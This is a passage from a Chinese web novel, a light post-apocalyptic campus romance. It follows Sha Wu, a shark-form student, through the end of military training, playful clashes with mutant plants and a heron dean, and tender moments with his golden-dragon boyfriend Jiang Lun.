沙伍指了指水渠里的莲蓬：“能不能帮我摘莲蓬？” “欠了你的！”李老师没好气，还是警告同事们不准偷吃他的，任命去给学生摘莲蓬。 其他老师前几天没少吃沙伍抓的鱼：“沙伍同学喜欢吃变异莲子？这附近有一大片野生的荷花池，老师带你去玩啊。” 他们以为沙伍消失两天，是因为之前对抗清道夫时候受的伤。 他们的等级和经验更清楚其中的凶险，沙伍这种正面对抗清道夫的学生，现在这个状态已经很强悍了。 “你直接摘过来给沙伍不就行了？现在荷花池有什么好玩的。” “对，老师明天去给你摘。” 完全没吃过莲子的沙伍眨眨眼：“谢谢老师。” 事已至此，说谢谢吧。 水渠里的荷花没多少。 这种低级变异植物对李老师完全构不成威胁，很快就摘了回来。 失去弹射力的莲子失去了最后的攻击手段，只剩下失水后坚韧的表皮做最后的抵抗。 老师们煮好了红油串串开始炫起来，已经在食堂解决晚餐的同学们，则趁着睡前的时间过来为了军训的学分加班加点。 剩下沙伍自成一角，坐在筐子上龇牙咧嘴地试图解剖莲子。 可惜他的异能不能用，力气没恢复，最用力的脸部肌肉毫无杀伤力。 老师们这会儿也不帮忙，就乐呵呵地给小朋友偷偷录像纪念。 等将来学生功成名就成为一方大佬，他们再拿出来回放，放学校大礼堂回放哈哈哈。 沙伍很快就过上了同学们累死累活军训，男朋友起早贪黑种地，自己坐在田间地头上课，还有老师们时不时给他各种有趣小玩具的惬意小日子。 他看着自己课桌上刷新的夜鹭，试图抢救已经快磨破皮的莲子：“我的！” 夜鹭已经叨穿了种皮：“再说一遍？”敢跟院长犟？ 沙伍试图跟他讲道理：“作为一只夜师傅，你不应该吃鱼的吗？为什么要吃素？”偏偏还叨他磨了整整三天的莲子！ 夜师傅把莲子轻轻松松叨出种皮，咔咔叨碎，不吃，用红眼珠子歪头看他，还撇步，摆出一副桀骜不驯的样子。 沙伍是火气上来能把自己牙都给磕掉还要上嘴咬的主，能忍下这口气？ 他“嗷”一声，抓起夜师傅就啃了一嘴毛。 第37章 猜测 夜师傅被啃懵了。 旁边暗搓搓蹭课的李老师都吓傻了。 沙伍放开夜师傅，捂住嘴蹲下，慢慢慢慢以头抢地，翻倒在厚实的草地上。 以最快速度冲过来的姜纶都吓坏了，不管三七二十一就先指责夜师傅：“夜老师，你干嘛打小鲨鱼！” 夜鹭都惊呆了：“是你家小鲨鱼咬我！你看看我身上的毛，还沾着鲨鱼口水！”他的小辫子都耷拉了！ 姜纶才不管他，确定沙伍没有不方便移动，伸手把他从地上重新抱到椅子上：“怎么了？夜师傅很脏的，羽粉啊、羽虱啊一大堆。你饿了就咬我，别咬脏东西……哎！夜老师你干嘛打我？” 夜鹭出离愤怒：“你听听你刚才说的什么话？我打死你都是轻的！” 姜纶硬是顶着夜鹭的大巴掌，确定沙伍只是有一颗牙松了，才开始逃亡。 沙伍已经尝到了嘴里的血腥味，感觉牙齿要保不住，趴在课桌上哭唧唧：“李老师，我不明白。你说钻石小少爷硬点也就算了，毕竟钻石系，硬是正常的。院长作为一只夜师傅……羽毛……为什么这么……弹牙？” 李老师震撼到面无表情，说话的语气像是机器：“啊？我也不明白。” 为什么有学生胆子大到敢咬院长？ 知不知道院长有多可怕？ 李老师等震撼劲过了，才疑惑：“你说姜纶是钻石系异能？钻石系异能是什么异能？用异能把东西变成钻石？”他大概能知道姜纶出现在自己的班级不是随便乱分的，姜纶应该是有异能的，不是像外界传言那样只是个普通人。 异能种类千奇百怪，有个钻石系很正常？ 十班的都是完全转化，钻石系转化个什么？ 难道姜纶的觉醒体是一颗超级大的钻石？ 哦，怪不得这么有钱。 也不对，姜纶本来就是后土城姜家的小少爷，虽然不确定是姜家哪一支，但人姜家在后土城是无冕之王，小少爷本来就很有钱。 李老师遵循着老师的职业惯性，确定学生只是掉颗牙这样的小事，把他提溜回座位上，把课程视频的进度条拉回到刚才中断的地方，坐着继续听讲：“好了，上课。” 白色和紫色的月季缠绕出一个凉亭，硬生生在荒芜的野外搭建出一个漂亮得不像话的小课堂。 沙伍看了看李老师：“你不在边上偷听了？” 见识过学生咬院长的李老师觉得已经无所谓了：“读书人的事情怎么能叫偷？” 沙伍：“……好叭。” 其实他在发现李老师蹭课的时候，就已经问过鸭老师，鸭老师表示同意。 他大部分的治疗方法，别人就算听去了也没用。 鸭老师的理论，完全是基于他自身异能的特点和经验总结出来的，能够用来推广的也就是用自己的异能给自己治疗，是很微小的一部分。 李老师不可能蹭完整个课程，毕竟是带队军训的老师，班级里除了在农场的两个，在医院的一个，宿舍里躺平的三个，剩下的20个斜杠学生，随时随地都能整出幺蛾子。 不过凉亭里随时会刷新别的老师，像沙伍一个人待在凉亭里会发生意外一样。 一节课结束，沙伍站起来伸了个懒腰，对上一朵白色的月季，取代花蕊部分的是一只眼睛。 眼睛眨了眨。 沙伍也眨了眨：“对暗号？” 月季花不动。 沙伍有些好奇，月季花里面不仅有眼珠子，竟然还有睫毛，凑过去看。 旁边重重叠叠的紫色月季突然张开一口牙，冲着他无声咆哮。 比牙齿，小鲨鱼从来不虚。 他也张开一口大牙，冲着月季花呲。 紫色月季暴怒，原本碗口大的花，花瓣瞬间完全展开，变得足有一个篮球大，嘴巴裂开到能把人的脑袋一口吞下的大小，朝着沙伍猛扑过来，堪堪停在沙伍鼻尖，牙齿还发出上下闭合的咔咔声。 紫色月季：怕了吧？ 沙伍嗅了嗅：“香香的。” 紫色月季没能吓唬成功，顿觉无趣地收拢花瓣，扭着藤蔓自闭去了。 薛春过来送点心，看到这一幕，把月季推开：“跟小伍玩呢？” 无数月季花瞬间把薛春包围，像是看到主人的小猫小狗，疯狂和主人贴贴。 薛春露出宠溺的笑容，摸摸这个的眼睛，摸摸那个的牙齿。 沙伍觉得这一幕有点温馨，又有点血腥：“薛哥，今天怎么是你过来？” 薛春赶紧让月季花回到原本的位置，把手上的饭盒放到桌上：“过来给你种个午休床。明天军训结束要返程，小风去给你收拾宿舍。” 沙伍也知道自己的宿舍是个什么情况，每天都会堆满同学和老师们送的礼物，除了送给他的，还有送给姜纶的。 因为说着不搭理其他班级同学农田的小少爷，最后还是用农机和净化系变异生物帮助维护，给其他班级节约了很多精力。 姜纶喜欢什么呢？ 姜纶喜欢沙伍。 那就送沙伍喜欢的东西。 沙伍根本来不及收拾这么多东西。 薛春说着，手上突然多出一个花盆，纤弱的茎迅速生长。 沙伍吃着点心，看着藤蔓根据异能的形状，长成一张吊床……或者说是大号摇篮。 墨绿色的叶片中，一个个白色的小花苞绽放，像是一个个小小的风扇，然后真的就旋转起来，吹出一丝丝风。 现在是上午十点，气温开始变热，这点微风吹过，刚好带了点凉爽，又不会冷。 沙伍的眼睛都亮了：“谢谢薛哥！这个好棒！” 宿舍里的人都喜欢沙伍这种很直白地表现出喜欢的样子，让人特别有成就感。 “你喜欢，等回去宿舍了，给你在院子里也种一个？” “喜欢！”沙伍马上就躺进去试了试，感觉整个人被包裹住，像是陷进了柔软的棉花里，还是有支撑的那种，比想象中的更加舒服，“薛哥，把柠檬给我。” 薛春没有把桌子上的柠檬给他，而是把他从风车茉莉的床上拽起来：“休息时间结束，你该开始下节课了。” “哦~”沙伍的眼神不住地往吊床上瞟，又把视线落在远处，在平平的农场土地上扫了一圈，“姜纶呢？”被院长追到水渠里了？ “大概跟院长一起去玩了吧？”薛春把应该属于姜纶的那份点心提在手上，踩着飞板升空，“我去找找他们。” 沙伍等到中午都没等回来姜纶，只能吃过午饭自己抱着变异柠檬睡了。 过来围观的同学们见状，羡慕嫉妒恨：“可恶啊，这小子日子过得太好了。” 有心想把沙伍扒拉开，自己进去躺一躺，无奈一亭子的蔷薇花又是眼睛又是嘴巴的，一朵朵虎视眈眈地真·盯着他们。 高级变异植物的气息让他们望而却步。 “好了。抓紧时间把剩下的变异杂草给弄掉，小心完不成任务，军训没成绩。” 姜纶只是答应帮他们维护已经开垦出来的荒地，不让那些荒地再被杂草和昆虫占据，开荒的工作还是要他们自己来完成。 他们可不像十班那样都是一群异能值平均A+的变态，开荒中遇到的杂草和各种小动物着实给他们带来了不少麻烦。 只是清除这些变异生物还好说，艰难在净化者的数量少且等级低。 还好剩下的变异杂草不多，他们可以分出一部分人开始种植净化植物，能够有效分担净化者的压力。 沙伍浑然不觉，柔软舒适的吊床，轻柔的风带来月季花香，睡得格外香甜。 最后一天的军训基本是自由活动，沙伍跟着玩了大半天。 整个军训过程适当锻炼、饮食营养、睡眠良好，怎么可能不长肉？ 结束军训后，沙伍直接被打包带去医院，马上一轮体检结束，回到宿舍就拿到了最先出的身高体重的数据，满脸不可思议：“怎么就长了0.1？” 他还以为从后土城回来后的几天，能长个三五斤？ 他低头拍拍自己的小肚子，瘪瘪的。 哦，他还没吃饭。 祁大厨的表情凝重：“0.1也算长肉？” 0.1怎么就不是肉？ 沙伍很想反驳，抬头对上表情严肃的祁大厨，心虚低头：“对不起。” 祁大厨眉头能夹死苍蝇：“一定是那两个庸医不行。你等着，我再跟他们讨论讨论。” 沙伍见祁大厨走了，看着沙发前站着的一溜家庭成员，小小声问：“我……去学习？” 梁管家：“去叭。” 沙伍一溜烟跑了个没影。 梁管家多少有些欣慰：“看上去活动是没问题了，剩下就是异能什么时候能恢复使用。” 小风说道：“我觉得只要小少爷不在小伍身边用异能，小伍自己是没什么问题的。小伍毕竟是小少爷的专属净化者。医生也说了，小伍的异能对小少爷天生具有克制作用，哪怕引发一点污染也没什么问题。第一次的后果看着严重，应该是小伍第一次接触‘自身污染’。检查结果不是说了？10%都不到。” “10%的污染，对于我们来说当然不算什么。可小伍是连释放自己10%异能都做不到的新手，也就是仗着异能值高和异能性质特殊。”很少在家的家庭医生给出意见，“我还是倾向于保守治疗。” 另外一位家庭医生也表示赞同：“反正小少爷能够很好地收敛自己的异能。哦，小少爷呢？没和小伍一起回来吗？” 梁管家看了看手环上姜纶的定位：“没，小少爷在接受夜院长的单人指导，晚餐不回来吃了，夜宵多给他们准备一点。”说完，他拍了拍手，“好了，都去忙自己的事情吧。” 小少爷年纪轻火力壮，在外面多消耗一点体力是好事。 想想小少爷明明异能那么强，到现在回家都是空着两只手，唯一能带回来的只有菜地里不会跑的那些，一点都不会过日子；不像小伍，每次回来都不空手。 梁管家看如今已经内容丰富了很多的鱼缸，拿上准备好的礼物，作为学生家长去拜访老师们。 不管怎么说，别人家的小孩接触异能十年起步，自家的小鲨鱼才刚觉醒两个月，基础肯定差了许多，需要老师们额外多关照几分。 他坐上飞车，把手环上的光屏调整成镜面模式，对着镜子整理了一下点缀着绿色晶核的领带夹，又整理了一下同色系的袖口，露出欣慰的笑容。 没错，他肯定是作为沙伍的学生家长。 沙伍去一趟朱雀城，给宿舍里的每个人都准备了礼物。 虽然这些礼物对他们来说不算贵重，但他们都清楚对于沙伍来说是当下他能拿出的最好的。 小朋友攒点家底不容易，这下应该是全都花完了。 疑似已经败光家底的沙伍正在书房跟沙肆视频。 视频里的姑娘留着寸头，皮肤是健康的小麦色，眉眼凌厉，给人一种十分不好亲近感。 沙伍受不了沉默，率先开口：“四姐，没事的话我还要学习。” 沙肆慢吞吞拿出一根长长的粉红色蕾丝发带：“我是短发。” 沙伍买的时候没考虑这么多：“……我错了。” “算了。”沙肆看着状态不错的沙伍，“谢谢。正好天气转凉了，可以拿来当围巾，很实用。” 沙伍顿时露出笑脸，似乎觉得自己笑得太夸张，马上整理好表情，重新变得严肃：“四姐喜欢就好，下次我会考虑更全面。” “嗯。钱还够用吗？” “够的。” “有异能了也别太拼，钱够用就好。” “嗯。” “挂了。” 结束视频，沙伍看了看自己八位数的银行余额，是小风分给他的清道夫一半的悬赏金额。 小风实际拿到的钱，比对外的悬赏金要高出不少，算是封口费——不能让吃异能者可以增长异能等级的事实公之于众，不然会引来非常可怕的后果。 尤其是清道夫还是突破了中级的那道坎。 要知道多少异能战士，终其一生都卡在六级，不得寸进。 哪怕清道夫最后突破，可能和吃异能者没关系，但消息只要传出去，肯定会有人铤而走险。 异能战士在战斗中的死亡率本来就高，有相当一部分死在荒无人烟的野外，不可能每一个都能找回完整的尸体。 类似清道夫那样的食人魔多出现一个两个，都是重大的灾难。 更何况，食人魔真的就只有一个清道夫吗？ 清道夫真的只是唯一一个通过吃异能者提升异能的异能战士吗？ “嘶——”沙伍打了个寒颤，抬手搓了搓脸和胳膊，把寒气搓掉，赶紧点开课程视频学习。 军训结束后，紧接着的是周末。 姜纶依旧每天被夜鹭镇压在外海，都不一定能每天回宿舍。 不能动用异能的沙伍，这几天小生意停了，学习进度已经超了，下载了一份网上的青龙城旅游攻略，跟同学们一起在青龙城里瞎逛。 “回去宿舍要重新分配了。” “说起来，我们宿舍怎么分的？是不是异能值越高，分到的宿舍越大？” “应该是吧，防止散逸的异能冲突。班长S级的，能分到独栋吧？” “不一定，我们现在才大一，S级外泄的能量也就那样，影响范围不大的，说不定全住公寓楼。”海豚班长说完，去看在边上拿着个冰淇淋瞪的沙伍，“沙伍你……都感觉不出有异能。” 要不是见识过各种样子的小鲨鱼，单纯在路上擦肩而过，怎么看沙伍都是个没有异能的普通人。 沙伍听得眼前一亮：“我就说嘛，普通人和异能者根本分不出来。” 小丑鱼吐槽：“你是只分不清普通人和异能者吗？你是人畜不分。你冰淇淋用眼睛吃？不吃给我。” “喏。”沙伍把冰淇淋给他。 小丑鱼只是随口一说，没想到真的会收到：“真给我啊？” 沙伍痛苦面具：“嗯。忘记不能吃外食了。” 小丑鱼很开心地接了过来：“哎呀，那你也太可怜了。”然后呲着个大牙把冰淇淋吃了。 青龙城的主城区非常热闹，各种大型商场一栋挨着一栋。 作为异能者，哪怕只是预备役，学生们的家境基本都不错。他们的父母多半也是异能战士，只是购买一些非异能相关物品，他们的零花钱很充足。 沙伍虽然钱不少，花钱也大方，但买东西前还是会看一下价格的。 海豚班长问：“你不给自己买点东西吗？”这些东西一看就不是给自己买的。 沙伍不解：“我什么东西都不缺啊。” 宿舍里什么东西都有，哪怕是价格昂贵的作战服，他也有一柜子，还都是注重款式的那种。 “哦。”海豚班长不问了。 一群人逛到下午收到学校通知后，才回去准备搬家。 “学校是真的折腾，刚开始就给我们安排好宿舍不就行了？” “对啊，害得我们得多搬一次家。” “搬家好麻烦。” “现在也不告诉我们具体宿舍是哪里，还得回去了再说。” “你们的行李还得再重新整理？”沙伍完全不觉得搬家麻烦。 从东湖城搬到青龙城的时候，他的东西就那么一点，根本不费事。 到了共工大学才刚报到，就被姜纶捡回家，行李都没来得及打开。 现在什么东西都有梁伯伯、小风姐和其他人贴心准备，自己根本不用动手。 在他看来，同学们的情况应该差不多啊。 他们大部分都是掐着点报到，接着就去军训了。 军训能够带的东西就那么点，别的行李应该都还是老样子吧，再说还有家政机器人。 海豚班长显然有内部消息，表情严肃中透着一丝紧张：“你不理解。我们学院配的家政机器人数量偏少，说是为了让我们适应将来野外作战的能力。而且这种时候需求太大，家政机器人很难约。” 小丑鱼问沙伍：“你能借一个家政机器人给我吗？” “不能。”沙伍果断拒绝，“宿舍里的人和东西都不归我管。我归所有人管。” 他是宿舍里的最底层，每天早上醒来上称都面临体重不增加的压力。 明明这几天不能用异能后锻炼都少了，偏还不长肉。 “那找姜纶借？” “你可以试试。”早上他发出去的信息，到现在还是信号无法接通。 小丑鱼试了，死心了。 一行人返回学院，先把沙伍放下才离开。 看到沙伍熟练地骑上一辆小飞车往巨大的犹如宫殿一样的宿舍飞去，小丑鱼问沉默寡言的虾同学：“你有没有察觉小少爷的异能等级？” 虾同学茫然：“没啊。你呢？” 小丑鱼困惑：“就是没有才觉得奇怪。” 宽吻海豚跟着困惑：“奇怪什么？” 小丑鱼比划着飞车开了一段还没出的豪华大宿舍的地界：“我们学院不是根据异能值和异能等级来安排宿舍的吗？原则上，异能值和等级越高，越危险的学生，能够分到的宿舍越大，和其他同学分得越开，避免同学之间的异能相互影响，属于一种安全措施。沙伍的异能大家都看到了，确实很强，但应该和班长差不多？” 宽吻海豚想了想：“我感觉比我强，而且他的成长空间很大。” “啊，差不多。”小丑鱼挠头，更正自己的说法，“我的意思是，沙伍应该没有危险到需要住那么大宿舍？”说到这里，他突然压低声音，鬼鬼祟祟，“所以，小少爷是不是很可怕？” 其他同学纷纷看向小丑鱼。 “有没有一种可能，他们住那么大，单纯是因为小少爷有钱？” 小丑鱼：“……啊，是这样吗？” “虽然大家都是学生，但你能想象小少爷跟我们一起住公寓楼？” “不能。” 虾同学好奇：“你感觉到小少爷有异能了？” “没有，就是没有才奇怪。他那头发不像染的，总不能消失两天就是去做了个头发？”小丑鱼觉得自己推断有理有据，“反正我觉得小少爷肯定是什么很危险的鱼。你们看他在青龙学院，还分在我们十班，必须是某种水产。总不能是为了跟沙伍谈恋爱才追来的我们班吧？” “为什么不能？感觉谈恋爱的可能性更高。” “对啊，小少爷顶多就是恋爱脑了一点，人又没什么坏毛病。” “他想多照顾一下自己的男朋友很正常。” “你不想给自己未来的女朋友或者男朋友花钱吗？” 小丑鱼纠结：“花钱是可以花钱，但我不确定未来会是男朋友还是女朋友，甚至不确定自己未来的性别。” 同学们大惊：“你要去变性？” 小丑鱼叹气：“这不是我想不想，主要小丑鱼……是吧？” 第38章 检讨 一直到周日下午，姜纶才在学校海湾被埋伏很久的小鲨鱼一口咬住，拖拽回宿舍。 从游艇上下来，本来应该直接坐飞车回去的姜纶，硬是在海水和潮汐湖里涮了涮。 “可以用异能了？” 已经有了成年鲨鱼体型的鲨鱼嘴巴更加宽大，咬着姜纶一声不吭，庞大的身躯给附近在潮汐湖里探索的同学们造成极大压力。 等他游远了，才有人小声逼逼：“鲨鱼吃人了？” “那是我们水产院的新生吧？” “新生吃人了？” “觉醒体大就是好啊，是从海里游过来的吧？” 大白鲨不搭理他们，叼着自己心爱的钻石小少爷，很快游远。 姜纶任由他咬着，抬手摸摸他的嘴巴，又摸摸他的牙齿：“咬夜老师的牙齿掉了没？” 小鲨鱼摆动了一下头部。 姜纶明白，看来是掉了：“夜老师把我丢外海，让我一会儿追鸟一会儿追鱼。我这两天在海上只能撬点贝壳吃。哦，我发现了一座大小合适环境还不错的岛，有适合饮用的淡水，有避风的海湾，下次带你一起去。我们可以改造一下，将来作为我们战队的海外据点。我学了点怎么建房的技能……” 姜纶说着说着就睡着了。 小鲨鱼加快速度，把人带回家。 姜纶的头发已经没那么金灿灿，反倒是有些发红，隐隐发黑，像是太阳逐渐收敛光芒后晚霞的颜色。 “好看！”沙伍趴在床上，盯着姜纶看，越看越欢喜，低头重重亲了一口。 姜纶这两天心力交瘁。 夜鹭显然是发了狠，掌握着分寸让姜纶将释放异能的度卡在会出现污染的边缘。 姜纶自己都不知道自己的极限，被夜鹭摸得特别准。 只是两天时间，异能肯定没消耗完，主要是心累，刚才洗澡都差点在浴缸里睡着，现在小鲨鱼还要给他上强度。 他伸手把沙伍抱紧，声音发飘：“让我抱着睡一会儿。” “不抱。你抱柠檬去！”话是这么说，沙伍还是没从床上下去，只是调整了一下姿势，靠坐在床上，拿着手环跟鸭老师提问学习中的难点。 姜纶比平时略微重一些的呼吸声，透过手环传递到视频另一边。 鸭老师坚持到结束问答，才歪了歪脑袋：“小少爷在你边上？” “嗯。”沙伍说话的声音比平时轻，“他睡着了。” 鸭老师甩了甩脑袋：“黏糊。”上个课还要吃一嘴狗粮，啧啧啧。 沙伍看挂断的通讯，准备下床活动一下。 姜纶睡着了，但抱着人不撒手。 于是，祁大厨就看到沙伍背着一条小少爷进到厨房，声音有些不在状态的飘：“怎么了这是？” 沙伍眨眼：“大概睡着了吧？”看到餐桌上摆着的小鲨鱼造型的餐盘，就知道是自己的点心，刚想坐下吃，就磕到了小少爷，只能端到吧台上站着吃。 “叔，晚上做什么？” “佛手螺和佛手瓜。”祁大厨指了指放在水槽。 无数双手从水槽里伸出来，像是一只只从地狱挣扎而出的恶鬼的爪子。 洗菜机里一只只绿色的手对着玻璃拍拍打打，像是无数在求救的人。 沙伍冷不丁看过去，吓了一跳：“哇！这是能吃的吗？” “能。这个很好吃，就是比较难搞，一般长在礁石的缝隙里。”祁大厨表情飘忽又欣慰，“小少爷带回来的。头一次见到回头钱，一会儿得多吃点。” 小少爷趴在沙伍背上，睡得人事不知。 沙伍几口吃完点心，拖着姜纶重新回房。 祁大厨在背后提醒：“小心别睡过头了，晚上一定要准点吃晚饭。” “我不睡，上课呢。一会儿肯定叫醒姜纶。”沙伍答应得好好的，结果什么时候睡着的都不知道，醒过来看了看时间，发现睡了快两个小时，“缺了两节课。” 晚上要补课。 沙伍盯着天花板发呆。 军训的时候在宿舍住了半个月习惯了正常高度，突然发现这边宿舍的层高是真的高。 他想推推姜纶，后知后觉发现自己只差被团成一个变异柠檬，只能把姜纶叫醒：“姜纶？” “姜纶！” “姜纶纶纶纶纶~” 姜纶不睁眼：“叫点好听的才醒。” 沙伍思索：“小金宝宝？” 姜纶唰一下睁开眼睛：“跟谁宝宝呢？你才是小鲨鱼宝宝！没大没小！” 沙伍头一回下午睡这么长时间，声音都懒：“那你要叫什么好听的嘛？” 这要求是可以随便提的？ 姜纶狠狠心动，脸色微红：“叫老公。” “滚蛋！”沙伍脸涨红，“醒了就赶紧松手！我饿了要吃饭！” 姜纶压着人不让走：“先叫了再去吃，不然饿死你。” 沙伍动弹不了，只能放狠话：“嘿！皮痒了是吧？信不信我咬死你！” “来，咬！”说是咬，实际很轻柔地亲了下去。 沙伍像是被抽了虾线，瞬间没了力气。 “新牙长了个尖尖。” “嗯？”沙伍根本没听清楚他在说什么，微微喘气，看着姜纶的目光有些涣散。 姜纶咽了咽口水，艰难地克制住自己，没再继续下去，又不甘心地用力抱紧：“你……快点。” 快点什么？ 沙伍的脑子还没冷静，遵从本能回抱住姜纶，抬头在他唇上轻咬：“姜纶？”怎么不亲了？ 姜纶别说是理智，魂儿都要抽出去了，通过密道把沙伍送回卧室，往床上一丢，自己火烧火燎地跑回自己房间，开启了屏蔽器。 具有强大防御力的屏蔽器形成一个肉眼不可见的结界，将所有异能和污染都隔绝起来，只在被金龙蹭到的时候，显露出一点涟漪一样的光影。 屏蔽器里面的的金龙来回转圈。 室内狭小的空间让他像一条追着尾巴的小狗。 “冷、冷静！” “等等、再等等。” “我有耐心，我的耐心很好的，我们的日子还长着呢，我们还没结婚呢。” “哦，对，先结婚。” “对，结婚！”他像是终于在千头万绪中找到了线头，猛地站直，角一下把天花板扎了两个洞，“先把名分定下来。” 察觉到姜纶房间开启了屏蔽的宿舍一众人吓坏了，还以为是姜纶控制不好自己爆发污染，触发的屏蔽装置。 结果他们全副武装冲过来的时候，就看到一条金龙把自己钉在天花板上。 如果有一天姜纶真的控制不住自己，进入完全污染状态，或许用不着他们拼命，他会自己把自己给蠢死？ “你在干嘛？” “下得来吗？” 拥有树杈形龙角的金龙，卷起两只前爪：“我……我挂一会儿。” “再过十五分钟晚餐，能赶上吗？” “我尽量。” 梁管家努力保持专业度：“那你恢复了给我发消息，我来关屏蔽器。” “好的。”屏蔽器可以自动触发，可以由他操控开启，但是没法让他自己关闭。 众人鱼贯离开，对脑袋挂在卧室天花板，尾巴一路延伸到起居室外面的金龙指指点点。 “小少爷的房间太小了。” “反正房间已经变成这样了，肯定得重新装修。” “我看直接打通得了，像小少爷的书房那样。” “那还不如让他直接睡书房。” “不像样，房间是房间，书房是书房，不能混为一谈。” “宿舍还是太小了，还是家里的房子够大。” “关键不是大小。刚才那一下，屏蔽器是不是坏了？” “没坏，屏蔽器范围是整个二楼和三楼。二楼天花板拆了都没事，顶多就是建筑结构损坏，房子可能会塌……罢了。” “塌？还罢了？” “我看直接在3号监测点附近重新弄一块地，盖个像样点的房子。反正那边农场已经规划出来了一些，距离学校也不远，出去外海上课也近。” “这个提议不错。小少爷起码要在这里住四年，说不定将来还得常住，总不能一直住宿舍。” “要搬家吗？”脸颊泛红的沙伍挂在四楼栏杆上。 梁管家一看就皱眉：“别这样，危险。” “哦。”沙伍赶紧站直了，往楼下快跑了两步，追上队伍的尾巴好奇追问，“为什么要搬家？” 梁管家等他走到自己身边，才继续往楼下走：“这边地方太小了，不够住。” 沙伍见过姜纶的觉醒体，听梁管家这么一说，觉得现在的宿舍对于姜纶来说确实小了点：“那要搬去哪里？” “搬去3号监测点怎么样？还是有别的更好的地方？” “3号监测点不是黄河入海口吗？把房子建在那种地方，牢靠吗？”会不会一觉醒来被冲掉？ 梁管家一听，觉得有道理：“那什么时候飞过去看看。” “选择在那里建立监测点应该是有道理的，可以先找学院还是市政要一下数据？不是什么特殊原因的话，监测点所在位置应该是适宜人口居住的，就是不知道具体适合多少人。” 一群人下楼。 家政机器人已经把餐桌和烧烤架放到了后院。 一群熟练烧烤工早已经就位，只有沙伍吃宝宝餐：“林大哥，给我的也加点烧烤料。” 阿大断然拒绝：“不行，这个秘制酱汁里面含的能量有点复杂，你现在不能吃。” 阿二怕沙伍过来要他在调制的辣椒粉，支使他去干活：“去看着点韭菜，别烤糊了，顺便看看小少爷出来了没。” “哦。”沙伍应声而去，又猛地回头抗议，“这怎么顺便……啊！” 沙伍被突然从背后抱过来的姜纶吓了一跳，手上的夹着韭菜的夹子差点飞出去，手忙脚乱地放回烧烤架上。 姜纶不道歉，还戳他肚子：“胆子这么小。在宿舍里能有什么危险？” 沙伍踢开拖鞋，抬起光脚就踩：“你就是最大的危险！滚滚滚，一边待着去，等伍哥给你烤韭菜。” 姜纶痛苦面具：“还是不要韭菜了，给我点败火的。” 小风给他送过来一杯茶，一个炖盅：“败火的。” 薛春在边上介绍：“小伍军训的时候，附近不是有一片野荷塘？我挑熟的摘了点莲子。莲心泡水，莲子祁叔拿去炖汤，都败火。” 沙伍很好奇，凑过去嗅嗅：“我想尝尝。” 说是这么说，他也知道自己现在不能乱吃东西。 姜纶吃什么东西都面不改色：“莲心很苦的。莲子的味道还可以，干的莲子炖熟了粉粉的。嫩的时候是脆甜的。” 沙伍就着姜纶的描述，吃了一口没滋没味的宝宝餐。 薛春提醒：“我找到两株有点潜力的变异荷花，放在东南那边的小池塘里培育。大家最近没事别去那儿。” 能够被薛春评价为有点潜力，想也知道变异荷花不是善茬。 宿舍里的一群人与其说是同事，不如说是战友，关系更加紧密，当然不会没事干去给薛春添堵，给自己找麻烦。 薛春看向眼睛里全是好奇（不知死活）的沙伍：“小伍？” 沙伍慢吞吞咽下嘴里的食物，保证：“我不去。” 姜纶也担心他好奇心太旺盛去作死：“校园里有藕塘的，你想看，一会儿我们去看？” 沙伍对着共工大学的地图看了不知道多少遍，从来没发现过有藕塘：“哪里？” 姜纶就着他点开的地图一指：“喏，这里，不是写了荷花池？” “荷花池……不是用来看荷花的？” 姜纶提供种地人的思路：“开花的时候看看花，花谢了可以摘荷叶，过阵子就收莲子，等天凉就可以挖藕了，不冲突。” 沙伍听得眼睛都亮了：“听上去种荷花很赚钱！” 他的生产方式是不是可以逐渐从采集，变更为种植，跨入下一个文明阶段！ “单纯种地都不怎么赚钱。变异荷花这东西又格外……不好说。” 沙伍已经把宝宝餐吃完了，好奇追问：“怎么个不好说？” “小少爷你先吃饭，快点吃完，带小伍去看荷花。”薛春是这方面的专业人士，给沙伍介绍，“荷花、莲花这个东西，都是有点讲究的。你以后在野外要是遇见这两种植物，多留个心眼。一般来说，它们的攻击性不高，甚至有相当一部分带有净化功能，但也有一些特殊情况，会很危险。” 沙伍像是上课被老师提问的学生，快速作答：“这题我知道。扬子海的业火红莲，九级变异。” 扬子海，位于国家西南。 在大灾变前，这里是四川、青海、西藏以及一部分南亚次大陆。 在这片面积广大的内海中，只生活着唯一一株变异生物，就是业火红莲。 它的异能是净化，但是一种极致的净化——任何靠近它的污染也好异能也罢，都会被净化得干干净净。 大灾变后，整个地球都笼罩在污染之下。 现在人们说的无污染，指的是污染值0.5以下，不是真的一丁点污染没有。 “啊，那是最极端的例子。”木系异能也被称作植物系异能，作为其中的佼佼者，薛春说起顶级变异植物的时候，眼神中的光芒跟别人都不一样，“业火红莲可能不止九级。我怀疑这几年扬子海的持续扩张，很可能和业火红莲有关。说起来，小伍，你的净化可能和业火红莲的净化机制差不多？” 由于业火红莲的特性，对它的研究非常少。哪怕是薛春，也只能靠猜测。 沙伍控制不住嘴角上扬：“我这么厉害的吗哈哈哈！” 姜纶不搭理他们俩，埋头把自己的饭吃完，漱口擦嘴，把沙伍拉起来：“走，看荷花去。” 沙伍跟着他走：“走着去吗？” 姜纶刚想遥控个飞车过来，听他这么一问，突然改了主意：“我们骑小飞车过去。我骑，你抱着我。” “噫~心思不单纯啊，这位同学~”沙伍笑嘻嘻地走在他身边。 小飞车的速度很快。 姜纶的眼里看不见任何变异生物，从来只有变异生物看见他逃命的份。 面对没长腿的变异荷花，他目中无人地直接把飞车悬停在一片巨大的荷叶上。 “荷花池里荷花的品种很多，偶尔会出现新的变异。今年晚了，明年夏天可以看荷花。” 能够种在校园里的变异植物，基本都是没有攻击性且驯化了好几代的。 变异是没办法的事情，现在的世界只要有生命的都在变异，只能增加排查和监控。 沙伍试探性地从小飞车上下来，整个人平摊在一张荷叶上，试图保持平衡，心不在焉地跟姜纶聊：“我们学院夏天不放暑假吗？还是就我们两个不放暑假，夏天还要留在学校里补课？”为什么夏天要在学校里看荷花？ 不知道是一株还是几株，这一片的荷叶都异常巨大，叶片厚实，茎秆粗壮。 沙伍体重轻，整个人大字形趴在荷叶上，哪怕底下只有一根茎秆支撑，摇晃了两下竟然稳住了！ “哦豁！”沙伍冲着姜纶喊，“快给我拍照，发班级群里！我可太厉害了！” 姜纶只觉得可爱，给他视频照片拍了一堆，一张都不想发出去：“我自己看就好了，干嘛发给别人看。” 沙伍坚持：“我做到了这么厉害的事情，必须炫耀一下！快给我发！不发我咬死你！” “好吧好吧。”姜纶只能心不甘情不愿地发了一张沙伍面朝荷叶的后脑勺到班级群里。 